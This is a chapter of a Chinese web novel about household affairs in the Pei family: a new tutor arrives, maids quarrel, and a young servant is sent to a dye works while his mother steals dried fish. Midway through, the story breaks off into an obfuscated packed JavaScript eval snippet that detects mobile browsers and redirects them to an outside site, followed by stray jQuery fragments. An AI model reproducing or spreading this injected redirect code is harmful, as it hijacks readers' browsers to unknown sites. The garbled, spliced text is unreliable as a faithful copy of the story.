29.第 29 章

作品:《低嫁日常

    三日后,裴家迎来贵客——户部崔尚书之子、博陵崔氏血脉、进士科状元、半步衡山隐士、新任西席,崔道御。


    和崔道御一同前来的,还有一箱海鮸干鲙。


    奴仆们将木箱抬下来,马车离去。于是高洁如白鹤的士子,便与箱中咸鱼一起,被殷勤迎进了门。


    崔道御自不必说,是孙氏打发来的;海鮸干鲙是孙氏从吴郡索来的,因为晓得文照鸾一向爱吃——特意送来她喜爱的饮食,也有一层表具心意与亲情的意味在内。


    裴家老少,以主母刘氏为首,对崔氏子的到来表示了极大的欢迎,又请到上座说话,又要开席宴饮。


    崔道御赴了一个多月的饯别宴,一听说宴饮,脸都绿了,再三地推辞不应。推让了小有一刻,刘氏这才意犹未尽地吩咐撤去筵席,改换作平常饮食,同着崔道御吃喝闲话;饭食后,又将几个读书的儿孙招来,一个个命他们郑重拜了师礼。


    束脩自然也是有的。巧的是,束脩里除了肉脯,也还有几条干脍。


    文照鸾笑道:“西宾登门,从来只有收人家束脩的。像你这样刚来就往外送的,还是头一回。”


    崔道御用略带悲哀和了无生趣的眼眸,不失尴尬地望了她一眼。


    文照鸾一向来不怎么理会他内心小世界的花开花落,早已扭过头,吩咐除了自家小厨房留一些海鮸干鲙,其余大半都送去公中的灶上了。


    好在崔道御并不夜宿在裴家,每日里只有上午在小书堂,下午仍回家中去的。她便不用费心为他单辟厢房。


    非独崔道御,连宋问瑄宋师氏,也是不必客宿裴家的。宋师氏有钱有闲,为着来去裴家方便,甚至已在大云经寺附近挑了一处宅子,等过几日迁居的事落定了,就来裴家教授下午的诗书画学。


    至于那一箱海鮸干鲙,文照鸾回忆遥远的过去,那还是她多少年前爱吃的口味,如今早另有所爱了。难为舅母孙氏还记着。


    ·


    西席的人选落定,手头还有一件待处置的事。


    那封奴,在外院替自己办事,可也已一个多月了。虽说年深日久才能知根底,但一个月,多少总能摸清几分脾性。


    她早教自己带来的几个仆从时时暗中留心,如今将他们叫来一问便知。


    这事,她交给玉真去办。


    文照鸾的两个贴身侍婢中,翠袖是时常负责在屋中煎茶插花、梳头更衣的;玉真跟随她的年月更久,一向来更情愿做些细致入微的人情活计。


    ——简言之,更动脑子的那种。


    偶尔,翠袖也能琢磨出点意思来。初来时几年,她并不敢置喙,如今跟随女郎,从女郎到夫人,通共也有六七年了,晓得文照鸾面冷却心善,对这种状况有时也会酸溜溜地发些牢骚。


    就像现在,文照鸾教她唤玉真过来。翠袖答应一声,出屋到廊下,向立在院子角落、正默默观赏一株茉莉花的玉真招手:“张炼师,过来!”


    院中做事行走的仆妇婢女们,老老少少十三四个,明着不望过去,暗中可都支着耳朵听呢。


    玉真仿若无闻,头也没回一个。


    翠袖又叫唤了一声:“张炼师!夫人传你呐!”


    玉真依旧不动弹。旁人不敢拿乔,她有底气。


    多少双眼睛,装作不经意地往玉真那处瞄。翠袖沉不住气了,下了廊阶,直直地走到玉真跟前,拿手在她眼前晃晃,“玉真,你怎么听见装没听见呢?”


    玉真才瞥她一眼,“听见什么?”


    “听见我喊你啊!”翠袖道。


    “你喊的是张炼师。”玉真道。


    翠袖撇撇嘴笑,这是她来裴家后,和裴家婢女们学的表情,在夫人跟前是不敢的,可对着跟自己一样身份的,那就无所谓了。


    “别装了,咱们都知道,张炼师就是你。”她嘲笑。


    玉真呆默默看花的眼,终于慢慢转过来在了她身上。


    “张炼师是张炼师,我是我。”玉真说话,一向是斯条慢理的。哪怕别人再急,她也不急,“你唤张炼师,和我玉真有什么关系?”


    茉莉花前拌嘴,这下好了,引起众人大大方方窥听,连小厨房里的永儿也放下擀面杖,伸头在门旁嘻嘻地瞧。


    翠袖面上挂不住,又不能真的放泼辣口骂人,只好急赤白脸与她分辩:“我听得真真的,夫人就唤你张炼师,你不是说以后要入道,就叫这个名儿么!怎么,我唤一声你就嫌口冷了?”


    玉真叹了口气,“那是几十年后的事,你这会子叫,算怎么回事?”


    说着迈开脚步往正屋走。


    翠袖跟在后头,眉眼里是讨得便宜的伶俐和得意劲儿。


    没走几步,玉真忽然回头:“狗才。”


    翠袖瞪眼,不可置信:“你骂我?”


    “没骂你。”玉真十分平和,“你下辈子就叫狗才。我现在喊喊,你适应一下。”


    翠袖气得面红耳赤,“呸!你怎么知道我下辈子就叫、叫……这个!”


    玉真十分同情地看着她:“你怎么知道你下辈子不叫——这个?”


    说罢,甩开涨红脸的翠袖,几步到廊下,进屋去了。


    文照鸾嘱咐了几句多探众人口风的话。玉真一一答应了。


    玉真委委屈屈地进来,不敢再给玉真使脸色,低垂头侍立在一边,但很快似乎想到了什么,阴霾渐渐散去,面容又明朗起来。


    玉真领了吩咐,出去了。玉真借着开门关门之机,在她身边,挡了她半步,半认真半不服气地低声道:“你以后出去做那劳什子张炼师了,我就是夫人最亲近的婢女,到时候你可别后悔!”


    玉真半边眉毛微微挑了起来,似惊讶,又不很惊讶,离开前,赠了她一句诚挚真心的祝福:“我不跟你争这个,祝你好运。”


    翠袖找回了尊严,得意洋洋地关门回去了。


    ·


    外院那头回来的消息是:封奴此人,伶俐变通,虽然办事偶尔有些浮躁,但这是因为年少之故,究其本性,还是良善的。


    文照鸾得了信,心中便有了谱,计较定了,命人特地将封奴唤来了内院,到眼前说话。


    封奴十五岁,仍是一月前所见那副憨圆带笑的面容,眼眸十分活络,跟着人入内院,却只低着头,从不望年轻的婢女们一眼。


    就这样,一直被带到了文照鸾跟前。


    文照鸾坐在一把青藤椅上,教他坐在对面,先问了一番月余来在外头做事的详实;又问与那几位哥哥们相处,可还合得来。


    封奴晓得她问的是从文家带来的几个随从,早已有所准备,便恭恭敬敬地答道:“哥哥们待我都很好。我不会的,尽由他们教导,往后还有得学。”


    “你太自谦了。”她看着他脑瓜顶上青黑色平头巾子,语气很和气,“外院的随从们都说,你虽年少,行事已很认真利落。多亏了你,他们才能渐渐在裴家施展开来。”


    封奴略笑了一笑,虽不晓得夫人是另有正事、还是单纯唤他来予一番夸奖,但心里总是十分舒坦得意的。


    很快,文照鸾又道:“你在本家做奴仆,自然很尽心。但据我想,总不是长久之计。单就我那几个随从来说,他们都不是平人,都有身契在我手里,尽心尽力地替我办事,为的也不过讨主人家喜欢,能有个栖身之所,不被转卖与他人。你不同,你是随你的父母一起,被雇请来的。”


    封奴抬头,面有诧异之色,虽不知主人家意图究竟如何,但似乎已隐隐预料到命运的微小转折。


    文照鸾满意于他的机敏,点点头,“少时一直做奴仆,养成了奴仆的性子,往后一世就得寄人篱下地过日子,卖身为奴也是迟早的事。我见你机灵,不忍你如此埋没,另指你一条路,你可愿意?”


    封奴双手在膝前,规规矩矩地坐着,想了一会,便立起身来,向她躬身拜了一礼。


    “愿听夫人吩咐。”他道。


    “好。”文照鸾道,“你父亲在布庄上做事。我不把你放去布庄,你去我的染坊做事,好不好?”


    染坊里有工匠、有账房,他能做什么,这要看他学得会什么能耐。


    这不是重点,重点是,染坊是她的,从里到外,都掌在她手里。他去了那儿,做得好自不必说;若不好,随便找个由头,便能打发了他。他若仍有勾搭主人家女郎的嫌疑,甚至不必她亲自理会,染坊的掌事就能安他几条罪状,送他一场牢狱的造化。


    但封奴想不到这些。或者说,他根本也无须想到这些。他满心里高兴,已开始


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343012|178450||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    展望今后一步一个脚印,渐渐地成家立业、奉养父母;甚至往后有了儿女,能读书识字,考一个功名,从此不仅不与人做奴婢,甚至连白身也脱去而为士人了。


    他越想越振奋,觉得有了夫人的抬举,自己未必做不到这些,想到激动处,真恨不得跪下来再给夫人磕几个头。


    而文照鸾毫不理会他的欣喜,却又泼他冷水,“不过,染坊里可没有本家这样安闲,既不舒适,也不轻松。你得从学徒做起,无论师傅教你捞染缸、还是调染料,都不能有怨言。”


    “只要是正道,我绝不有怨言!”封奴斩钉截铁。


    文照鸾又道了一声“好”,啜口茶,便起身叫来翠袖,磨墨蘸笔;自己裁了张纸条子,写了几句话带给染坊掌事,又取来惯常用的小印押了,拿与封奴收好,教他即可收拾行装,到染坊报到。


    临走时,又叫住他:“你且等等。前日里崔先生送了些海鮸干鲙,你捎两瓶带回去,与你父母也尝尝。”


    封奴答应了一声,瞧着文照鸾打发院里的婢女珠子去鱼米库拿了。


    裴家的库房在前院一个偏角落里,里头砌得很是宽敞,又隔了几间屋,分别为鱼米库、布库、器玩库不等,每库由不同的人照管。主人家只要取放就行,记录出入的自有管库奴仆。


    一刻后,珠子带着文照鸾写的取海鮸干鲙的条子,空着两只手回来了。


    她见到文照鸾,将条子还回来,道:“鱼米库说了,海鮸干鲙已经没有了。”


    “没了?”文照鸾意外,“表兄那一箱里,少说有四五十瓶,我只自留了十瓶,余下这两日就取完了?”


    但没有就是没有,封奴还垂手等着。


    文照鸾没说什么,只是道:“从我那里取两瓶来,封奴拿去。”


    这一次,是翠袖带着封奴去了。


    ·


    余下半日,封奴仍在本宅做事,直到灯上时分,才趁着黑回了自家。


    比起裴家宅院,自家低矮的三间屋舍自然算极其简陋,平日里爹娘各在各处,也不回来,但家中仍有几个妹妹在。她们入夜点上一支烛,那烛光照映着窗,他跨进门槛,望见昏黄的灯火,便会觉得是个家的模样。


    这晚的灯烛又明亮了些。屋中有人声说话,除了妹妹,那一个竟是他娘吕氏。


    封奴一拍脑门,想起今日七月十五,是盂兰盆节,裴家做事的人照例是要放半天假的。


    他推门进屋。


    灯烛比平日多点了两支,三团明晃的灯火下,母亲吕婆与三个年幼的妹妹围坐在桌边,吃喝闲聊。


    桌上酒香肉美。他定睛一看,那当中摆着一大盘子烧鱼脍,他娘正吃得津津有味。


    吕婆见儿子回来了,先皱眉,放下筷子,拿了根鸡毛掸子,便来为他掸土掸尘掸邪祟,口中责怪:“今日七月半,你怎么夜间回来了!多掸掸,邪祟不得进屋!”


    掸着掸着便瞧见他拎的两个细白瓷瓶,“这是什么?”


    “是文氏夫人送我的海鮸干鲙。”封奴将白日里事说了,又望那桌上,多少有些皱眉。


    吕婆接了他手里瓷瓶,撇着嘴往旁边一搁,很不在意的样子,却很介意他要去染坊的事,又叨叨念:“你这傻小子,我为你千求万求,求来本家干活的事,你怎么不好好待着,反倒外去?那文氏夫人,我就晓得,她当初把你要过去准没好事,被我料中了吧!什么染坊,那种脏臭地方是能去的?我跟你说,你可别去,明日我就去求焦氏夫人,教她推了你这活计……”


    说着又把他拉去吃酒菜。


    最小的四娘也道:“这鱼好吃极了,哥哥你吃!”


    封奴手里被三娘塞了一双筷子。吕婆自己也吃,教他也吃。


    “这是今日祭祖带回来的鱼脍,哥哥你吃了,祖宗会保佑你。”二娘道。


    什么祭祖拿回来的,分明是他娘监守自盗,从鱼米库弄回来的海鮸干鲙。


    他自己受主人家恩典,也才得两瓶,他娘这一盘子,带姜带蒜,恐怕就有三四瓶。


    他望望自己那只已受冷落的细白瓷瓶,再看看这一大漆木盘子里的海鮸干鲙,再瞧瞧三个妹妹天真而愉快的脸,再一次感受到由来已久的、熟悉的郁闷窒息。


    无话可说。